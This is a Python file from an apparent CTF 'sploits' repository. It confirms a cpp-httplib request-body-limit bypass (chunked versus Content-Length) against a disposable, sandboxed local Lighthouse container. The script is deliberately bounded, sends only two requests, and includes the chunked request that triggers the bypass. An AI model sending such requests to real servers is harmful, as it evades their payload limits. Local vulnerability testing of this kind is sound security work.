Files
go-ctf/sploits/lighthouse/cve_httplib_local/probe.py
T
2026-10-29 10:55:49 +03:00

176 lines
6.2 KiB
Python

#!/usr/bin/env python3
"""Bounded cpp-httplib CVE probe for a disposable, local Lighthouse container.
There is deliberately no remote target option. The test sends two HTTP requests
per image: one Content-Length control and one correctly framed chunked request.
The other two CVEs are source-only findings; this program never sends a long
line or a negative chunk size.
"""
from __future__ import annotations
import argparse
import os
import re
import signal
import socket
import subprocess
import sys
import time
import uuid
from contextlib import contextmanager
BODY_LIMIT = 32_768 # lighthouse/server/main.cpp
BASE_BODY = b'{"label":"local-cve-probe"}'
BODY = BASE_BODY + b" " * (BODY_LIMIT + 1 - len(BASE_BODY))
assert len(BODY) == BODY_LIMIT + 1
MAX_WIRE_BYTES = 34_000
MAX_CONTAINER_MEMORY = "128m"
COMMAND_TIMEOUT = 15
SOCKET_TIMEOUT = 2
def docker(*args: str, timeout: int = COMMAND_TIMEOUT) -> str:
result = subprocess.run(
["docker", *args], capture_output=True, text=True, timeout=timeout,
check=False,
)
if result.returncode:
raise RuntimeError(f"docker {args[0]} failed: {result.stderr.strip()[:240]}")
return result.stdout.strip()
def require_local_docker() -> None:
override = os.environ.get("DOCKER_HOST", "")
endpoint = docker("context", "inspect", "--format", "{{.Endpoints.docker.Host}}")
if not endpoint.startswith("unix://") or (override and not override.startswith("unix://")):
raise RuntimeError("a local Unix-socket Docker daemon is required")
def response_status(port: int, request: bytes) -> int:
if len(request) > MAX_WIRE_BYTES:
raise ValueError("request exceeds local wire-byte cap")
with socket.create_connection(("127.0.0.1", port), timeout=SOCKET_TIMEOUT) as sock:
sock.settimeout(SOCKET_TIMEOUT)
sock.sendall(request)
first = bytearray()
while b"\r\n" not in first and len(first) < 256:
data = sock.recv(256 - len(first))
if not data:
break
first.extend(data)
match = re.match(rb"HTTP/1\.[01] ([0-9]{3})\b", first)
if not match:
raise RuntimeError(f"no HTTP status, prefix={bytes(first[:48])!r}")
return int(match.group(1))
def request_with_length() -> bytes:
return (
b"POST /api/queues HTTP/1.1\r\n"
b"Host: 127.0.0.1\r\n"
b"Content-Type: application/json\r\n"
+ f"Content-Length: {len(BODY)}\r\n".encode()
+ b"Connection: close\r\n\r\n"
+ BODY
)
def request_chunked() -> bytes:
# A single complete chunk avoids any repeated-send/flood behavior.
return (
b"POST /api/queues HTTP/1.1\r\n"
b"Host: 127.0.0.1\r\n"
b"Content-Type: application/json\r\n"
b"Transfer-Encoding: chunked\r\n"
b"Connection: close\r\n\r\n"
+ f"{len(BODY):x}\r\n".encode()
+ BODY
+ b"\r\n0\r\n\r\n"
)
def wait_ready(port: int) -> None:
deadline = time.monotonic() + 6
probe = (
b"GET /api/health HTTP/1.1\r\nHost: 127.0.0.1\r\n"
b"Connection: close\r\n\r\n"
)
while time.monotonic() < deadline:
try:
if response_status(port, probe) == 200:
return
except (OSError, RuntimeError):
pass
time.sleep(0.15)
raise RuntimeError("disposable container did not become healthy within 6 s")
@contextmanager
def disposable_container(image: str):
image_id = docker("image", "inspect", image, "--format", "{{.Id}}")
name = "lighthouse-cve-local-" + uuid.uuid4().hex[:12]
container = ""
try:
container = docker(
"run", "--detach", "--rm", "--name", name,
"--publish", "127.0.0.1::8080",
"--memory", MAX_CONTAINER_MEMORY,
"--memory-swap", MAX_CONTAINER_MEMORY,
"--cpus", "1", "--pids-limit", "64",
"--cap-drop", "ALL", "--security-opt", "no-new-privileges",
"--read-only",
"--tmpfs", "/data:rw,size=8m,mode=0700",
"--tmpfs", "/var/log/lighthouse:rw,size=8m,mode=0700",
"--tmpfs", "/srv/lighthouse/work:rw,size=8m,mode=0711",
image,
)
port_result = docker("port", container, "8080/tcp")
port_match = re.fullmatch(r"127\.0\.0\.1:([0-9]+)", port_result)
if not port_match:
raise RuntimeError(f"unexpected Docker port binding: {port_result!r}")
port = int(port_match.group(1))
wait_ready(port)
yield image_id, port
finally:
if container:
subprocess.run(["docker", "rm", "--force", container],
capture_output=True, timeout=COMMAND_TIMEOUT, check=False)
def run_one(label: str, image: str) -> None:
with disposable_container(image) as (image_id, port):
control = response_status(port, request_with_length())
chunked = response_status(port, request_chunked())
print(f"{label}: image={image_id} Content-Length={control} chunked={chunked}")
if control == 413 and chunked == 201:
print(f"{label}: CVE-2025-46728 / CVE-2025-53629 payload-limit bypass confirmed locally")
elif control == 413 and chunked == 413:
print(f"{label}: both over-limit encodings rejected")
else:
print(f"{label}: inconclusive; inspect the disposable image and route behavior")
def main() -> int:
parser = argparse.ArgumentParser(description=__doc__)
parser.add_argument("--vulnerable-image", required=True,
help="prebuilt disposable Lighthouse image using cpp-httplib 0.11.4")
parser.add_argument("--patched-image", help="optional prebuilt fixed-image control")
args = parser.parse_args()
try:
require_local_docker()
run_one("baseline", args.vulnerable_image)
if args.patched_image:
run_one("patched", args.patched_image)
except (OSError, RuntimeError, subprocess.TimeoutExpired) as error:
print(f"probe failed: {error}", file=sys.stderr)
return 1
print("CVE-2025-53628: source-only (no long-line allocation test)")
print("CVE-2026-45352: source-only (no negative-size/OOM test)")
return 0
if __name__ == "__main__":
signal.signal(signal.SIGTERM, lambda *_: sys.exit(143))
raise SystemExit(main())